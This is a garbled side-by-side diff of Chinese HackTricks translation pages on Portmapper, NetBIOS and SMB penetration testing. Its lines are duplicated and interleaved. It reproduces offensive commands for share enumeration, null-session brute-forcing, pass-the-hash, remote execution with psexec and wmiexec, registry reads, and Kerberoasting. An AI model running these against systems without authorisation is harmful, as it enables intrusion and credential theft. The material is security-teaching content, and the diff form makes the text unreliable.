| /etc/group | group.byname, group.bygid | NIS 组文件 | | /etc/group | group.byname, group.bygid | NIS 组文件 |
@ -68,13 +68,13 @@ ypcat d <domain-name> h <server-ip> passwd.byname
## 绕过过滤的 Portmapper 端口 ## 绕过过滤的 Portmapper 端口
在进行 **nmap 扫描** 并发现端口 111 被过滤开放 NFS 端口时,直接利用这些端口是不可行的。然而,通过 **在本地模拟一个 portmapper 服务并从你的机器创建一个隧道到目标**,利用标准工具进行利用成为可能。这种技术允许绕过端口 111 的过滤状态,从而访问 NFS 服务。有关此方法的详细指导,请参阅 [此链接](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) 中的文章。 在进行 **nmap 扫描** 并发现端口 111 的 NFS 端口被过滤时,直接利用这些端口是不可行的。然而,通过 **在本地模拟一个 portmapper 服务并从你的机器创建一个隧道到目标**,利用标准工具进行利用成为可能。这种技术允许绕过端口 111 的过滤状态,从而访问 NFS 服务。有关此方法的详细指导,请参阅 [此链接](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) 中的文章。
## Shodan ## Shodan
- `Portmap` - `Portmap`
## 练习实验室 ## 实践实验室
- 在 [**Irked HTB 机器**](https://app.hackthebox.com/machines/Irked) 中练习这些技术。 - 在 [**Irked HTB 机器**](https://app.hackthebox.com/machines/Irked) 中练习这些技术。
@ -90,7 +90,7 @@ Description: Notes for PortMapper
Note: | Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively. Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2: Entry_2:
Name: rpc info Name: rpc info

View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **端口 139** ## **Port 139**
_**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并**促进数据在网络中的传输**。在 NetBIOS 网络上运行的软件应用程序的识别和定位是通过它们的 NetBIOS 名称实现的,这些名称可以长达 16 个字符,并且通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。 _**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并**促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
``` ```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
``` ```
## Port 445 ## Port 445
从技术上讲,端口 139 被称为“NBT over IP”而端口 445 被识别为“SMB over IP”。缩写 **SMB** 代表“**服务器消息块**”,现代也被称为 **通用互联网文件系统 (CIFS)**。作为一种应用层网络协议SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种形式的通信。 从技术上讲,端口 139 被称为“NBT over IP”而端口 445 被识别为“SMB over IP”。缩写 **SMB** 代表“**服务器消息块**”,现代也被称为 **通用互联网文件系统 (CIFS)**。作为一种应用层网络协议SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种形式的通信。
例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,消除了通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。 例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,消除了通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。
``` ```
@ -18,9 +18,9 @@ _**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨
``` ```
### SMB ### SMB
**服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列SMB 确保向后兼容,允许运行较新版本微软操作系统的设备与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。 **服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列SMB 确保向后兼容,使得运行较新版本微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。
共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使客户端部分 **独立** 于服务器的实际结构地可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。 共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使客户端部分 **独立** 于服务器的实际结构地可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
### IPC$ Share ### IPC$ Share
@ -28,7 +28,7 @@ _**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨
- 操作系统信息 - 操作系统信息
- 父域的详细信息 - 父域的详细信息
- 本地用户和组的汇 - 本地用户和组的汇
- 可用 SMB 共享的信息 - 可用 SMB 共享的信息
- 有效的系统安全策略 - 有效的系统安全策略
@ -36,7 +36,7 @@ _**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨
```bash ```bash
enum4linux -a target_ip enum4linux -a target_ip
``` ```
上述命令是如何使用 `enum4linux` 对指定的 `target_ip` 进行全面枚举的示例。 上述命令是如何使用 `enum4linux` 对指定的 `target_ip` 进行完整枚举的示例。
## 什么是 NTLM ## 什么是 NTLM
@ -57,7 +57,7 @@ nbtscan -r 192.168.0.1/24
要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未出现在其他使用的工具中,您可以: 要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未出现在其他使用的工具中,您可以:
- 使用 **MSF** 辅助模块 \_**auxiliary/scanner/smb/smb_version** - 使用 **MSF** 辅助模块 \_**auxiliary/scanner/smb/smb_version**
- 或者这个脚本: - 或者使用此脚本:
```bash ```bash
#!/bin/sh #!/bin/sh
#Author: rewardone #Author: rewardone
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
``` ```
### **手动枚举 Windows 共享并连接到它们** ### **手动枚举 Windows 共享并连接到它们**
可能会出现您被限制显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得的。要手动枚举共享,您可能想要找像 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 这样的响应,当使用有效会话(例如,空会话或有效凭据)时。这些可能表明共享是否存在以及您是否没有访问权限,或者共享根本不存在。 可能您被限制显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得的。要手动枚举共享,您可能想要找像 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 这样的响应,当使用有效会话(例如,空会话或有效凭据)时。这些可能表明共享是否存在以及您是否没有访问权限,或者共享根本不存在。
Windows 目标的常见共享名称包括 Windows 目标的常见共享名称包括
@ -239,7 +239,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
``` ```
### **从 Windows 枚举共享 / 无需第三方工具** ### **从Windows枚举共享/不使用第三方工具**
PowerShell PowerShell
```powershell ```powershell
@ -293,8 +293,8 @@ smbclient //<IP>/<share>
- mask: 指定用于过滤目录中文件的掩码(例如,""表示所有文件) - mask: 指定用于过滤目录中文件的掩码(例如,""表示所有文件)
- recurse: 切换递归开关(默认:关闭) - recurse: 切换递归开关(默认:关闭)
- prompt: 切换文件名提示关(默认:开启) - prompt: 切换文件名提示关(默认:开启)
- mget: 将与掩码匹配的所有文件从主机复制到客户端机器 - mget: 将所有匹配掩码的文件从主机复制到客户端机器
(_来自smbclient的手册信息_) (_来自smbclient的手册信息_)
@ -304,13 +304,13 @@ smbclient //<IP>/<share>
```bash ```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data Snaffler.exe -s -d domain.local -o snaffler.log -v data
``` ```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 爬虫 - [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 蜘蛛
- `-M spider_plus [--share <share_name>]` - `-M spider_plus [--share <share_name>]`
- `--pattern txt` - `--pattern txt`
```bash ```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
``` ```
从共享中特别有趣的文件是名为 **`Registry.xml`** 的文件,因为它们 **可能包含** 配置为通过组策略 **自动登录** 的用户的密码。或者 **`web.config`** 文件,因为它们包含凭据。 特别有趣的共享文件是名为 **`Registry.xml`** 的文件,因为它们 **可能包含** 配置为通过组策略 **自动登录** 的用户的密码。或者 **`web.config`** 文件,因为它们包含凭据。
> [!NOTE] > [!NOTE]
> **SYSVOL 共享** 对域中的所有经过身份验证的用户 **可读**。在这里,您可能会 **找到** 许多不同的批处理、VBScript 和 PowerShell **脚本**。\ > **SYSVOL 共享** 对域中的所有经过身份验证的用户 **可读**。在这里,您可能会 **找到** 许多不同的批处理、VBScript 和 PowerShell **脚本**。\
@ -324,7 +324,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
``` ```
## 后期利用 ## Post Exploitation
**Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,可能包含一些 **危险配置** **Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,可能包含一些 **危险配置**
@ -343,9 +343,9 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
命令 `smbstatus` 提供有关 **服务器****谁已连接** 的信息。 命令 `smbstatus` 提供有关 **服务器****谁已连接** 的信息。
## 使用 Kerberos 进行身份验证 ## Authenticate using Kerberos
您可以使用工具 **smbclient****rpcclient** 进行 **Kerberos** 身份验证: 您可以使用工具 **smbclient****rpcclient** 进行 **kerberos** 认证:
```bash ```bash
smbclient --kerberos //ws01win10.domain.com/C$ smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com rpcclient -k ws01win10.domain.com
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec** ### **crackmapexec**
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法 **执行** 命令,其中 **wmiexec****默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项: crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法执行命令,**wmiexec** 是 **默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
```bash ```bash
apt-get install crackmapexec apt-get install crackmapexec
@ -379,7 +379,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
这两种选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它来**执行某些操作****psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**-)。\ 这两种选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它来**执行某些操作****psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**-)。\
有关 [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)和 [**smbexec**](../windows-hardening/ntlm/smbexec.md)的**更多信息**。\ 有关 [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) 和 [**smbexec**](../windows-hardening/ntlm/smbexec.md) 的**更多信息**。\
**kali** 中,它位于 /usr/share/doc/python3-impacket/examples/ **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
@ -392,7 +392,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
通过 **端口 135** 隐秘地执行命令 shell而不接触磁盘或运行新服务使用 DCOM。\ 隐秘地执行命令 shell而不接触磁盘或运行新服务通过 **端口 135** 使用 DCOM。\
**kali** 中,它位于 /usr/share/doc/python3-impacket/examples/ **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
``` ```
使用 **parameter**`-k`可以使用 **kerberos** 进行身份验证,而不是 **NTLM** 使用 **参数** `-k`,您可以使用 **kerberos** 进行身份验证,而不是 **NTLM**
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address> ./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -410,7 +410,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [AtExec](../windows-hardening/ntlm/atexec.md) ### [AtExec](../windows-hardening/ntlm/atexec.md)
通过任务调度程序执行命令(使用 _\pipe\atsvc_ 通过 SMB。\ 通过任务调度程序执行命令(使用 _\pipe\atsvc_ 通过 SMB。\
**kali** 中位于 /usr/share/doc/python3-impacket/examples/ **kali**,它位于 /usr/share/doc/python3-impacket/examples/
```bash ```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command" ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami" ./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -419,7 +419,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **暴力破解用户凭** ## **暴力破解用户凭**
**这不推荐,如果超过允许的最大尝试次数,您可能会锁定账户** **这不推荐,如果超过允许的最大尝试次数,您可能会锁定账户**
```bash ```bash
@ -452,7 +452,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## NTLM 盗窃 ## NTLM 盗窃
与 SMB 捕获类似,将恶意文件植入目标系统(例如通过 SMB可以引发 SMB 认证尝试,从而允许使用 Responder 等工具拦截 NetNTLMv2 哈希。然后可以离线破解该哈希或在 [SMB 继电器攻击](pentesting-smb.md#smb-relay-attack) 中使用。 类似于 SMB 捕获,将恶意文件植入目标系统(例如通过 SMB可以引发 SMB 认证尝试,从而允许使用 Responder 等工具拦截 NetNTLMv2 哈希。然后可以离线破解该哈希或在 [SMB 继电器攻击](pentesting-smb.md#smb-relay-attack) 中使用。
[查看: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) [查看: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2: Entry_2:
Name: Enum4Linux Name: Enum4Linux

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## **端口 139** ## **Port 139**
_**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并 **促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用 **TCP 端口 139** _**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并**促进数据在网络上的传输**。在 NetBIOS 网络上运行的软件应用程序的识别和定位是通过它们的 NetBIOS 名称实现的,这些名称可以长达 16 个字符,并且通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
``` ```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
``` ```
@ -18,7 +18,7 @@ _**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,
``` ```
### SMB ### SMB
**服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列SMB 确保向后兼容,使得运行较新版本微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。 **服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列SMB 确保向后兼容,使得运行较新版本微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使得 SMB 可以在 **Linux** 和 Unix 系统上实现,从而促进通过 SMB 的跨平台通信。
共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使得客户端部分 **独立** 于服务器的实际结构地可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。 共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使得客户端部分 **独立** 于服务器的实际结构地可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
@ -54,7 +54,7 @@ nbtscan -r 192.168.0.1/24
``` ```
### SMB 服务器版本 ### SMB 服务器版本
要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未在其他使用的工具中出现,您可以: 要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未出现在其他使用的工具中,您可以:
- 使用 **MSF** 辅助模块 \_**auxiliary/scanner/smb/smb_version** - 使用 **MSF** 辅助模块 \_**auxiliary/scanner/smb/smb_version**
- 或者这个脚本: - 或者这个脚本:
@ -83,7 +83,7 @@ searchsploit microsoft smb
| **用户名** | **常见密码** | | **用户名** | **常见密码** |
| -------------------- | ----------------------------------------- | | -------------------- | ----------------------------------------- |
| _(空白)_ | _(空白)_ | | _(空白)_ | _(空白)_ |
| guest | _(空白)_ | | guest | _(空白)_ |
| Administrator, admin | _(空白)_, password, administrator, admin | | Administrator, admin | _(空白)_, password, administrator, admin |
| arcserve | arcserve, backup | | arcserve | arcserve, backup |
@ -161,7 +161,7 @@ rpcclient-enumeration.md
`xdg-open smb://cascade.htb/` `xdg-open smb://cascade.htb/`
#### 在文件浏览器窗口中 (nautilus, thunar, 等) #### 在文件浏览器窗口中nautilus, thunar 等)
`smb://friendzone.htb/general/` `smb://friendzone.htb/general/`
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
``` ```
### **手动枚举 Windows 共享并连接到它们** ### **手动枚举 Windows 共享并连接到它们**
可能您被限制显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得的。要手动枚举共享,您可能想要找像 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 这样的响应,当使用有效会话(例如,空会话或有效凭据)时。这些可能表明共享是否存在以及您是否没有访问权限,或者共享根本不存在。 可能您被限制显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得的。要手动枚举共享,您可能想要找像 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 这样的响应,当使用有效会话(例如,空会话或有效凭据)时。这些可能表明共享是否存在以及您是否没有访问权限,或者共享根本不存在。
Windows 目标的常见共享名称包括 Windows 目标的常见共享名称包括
@ -210,14 +210,14 @@ Windows 目标的常见共享名称包括
- SYSVOL - SYSVOL
- NETLOGON - NETLOGON
(来自 _**Network Security Assessment 3rd edition**_ 的常见共享名称) (来自 _**网络安全评估第 3 版**_ 的常见共享名称)
您可以尝试使用以下命令连接到它们 您可以尝试使用以下命令连接到它们
```bash ```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password) smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
``` ```
对于这个脚本(使用空会话) 或此脚本(使用空会话)
```bash ```bash
#/bin/bash #/bin/bash
@ -296,7 +296,7 @@ smbclient //<IP>/<share>
- prompt: 切换文件名提示开关(默认:开启) - prompt: 切换文件名提示开关(默认:开启)
- mget: 将所有匹配掩码的文件从主机复制到客户端机器 - mget: 将所有匹配掩码的文件从主机复制到客户端机器
(_来自smbclient的手册_) (_来自smbclient的手册信息_)
### 域共享文件夹搜索 ### 域共享文件夹搜索
@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash ```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
``` ```
特别有趣的共享文件是名为 **`Registry.xml`** 的文件,因为它们 **可能包含** 配置**自动登录** 的用户的密码,此外 **`web.config`** 文件也包含凭据。 特别有趣的共享文件是名为 **`Registry.xml`** 的文件,因为它们 **可能包含** 配置为通过组策略 **自动登录** 的用户的密码。或者 **`web.config`** 文件,因为它们包含凭据。
> [!NOTE] > [!NOTE]
> **SYSVOL 共享** 对域中的所有经过身份验证的用户 **可读**。在这里可能会 **找到** 许多不同的批处理、VBScript 和 PowerShell **脚本**。\ > **SYSVOL 共享** 对域中的所有经过身份验证的用户 **可读**。在这里,您可能会 **找到** 许多不同的批处理、VBScript 和 PowerShell **脚本**。\
> 你应该 **检查** 里面的 **脚本**,因为你可能会 **发现** 敏感信息,例如 **密码** > 您应该 **检查** 其中的 **脚本**,因为您可能会 **发现** 敏感信息,例如 **密码**
## 读取注册表 ## 读取注册表
可能能够使用一些发现的凭据 **读取注册表**。Impacket **`reg.py`** 允许尝试: 可能能够使用一些发现的凭据 **读取注册表**。Impacket **`reg.py`** 允许尝试:
```bash ```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -379,7 +379,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
这两种选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它**执行某些操作****psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**-)。\ 这两种选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它**执行某些操作****psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**-)。\
有关 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)的**更多信息**。\ 有关 [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) 和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) 的**更多信息**。\
**kali** 中,它位于 /usr/share/doc/python3-impacket/examples/ **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
@ -392,7 +392,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
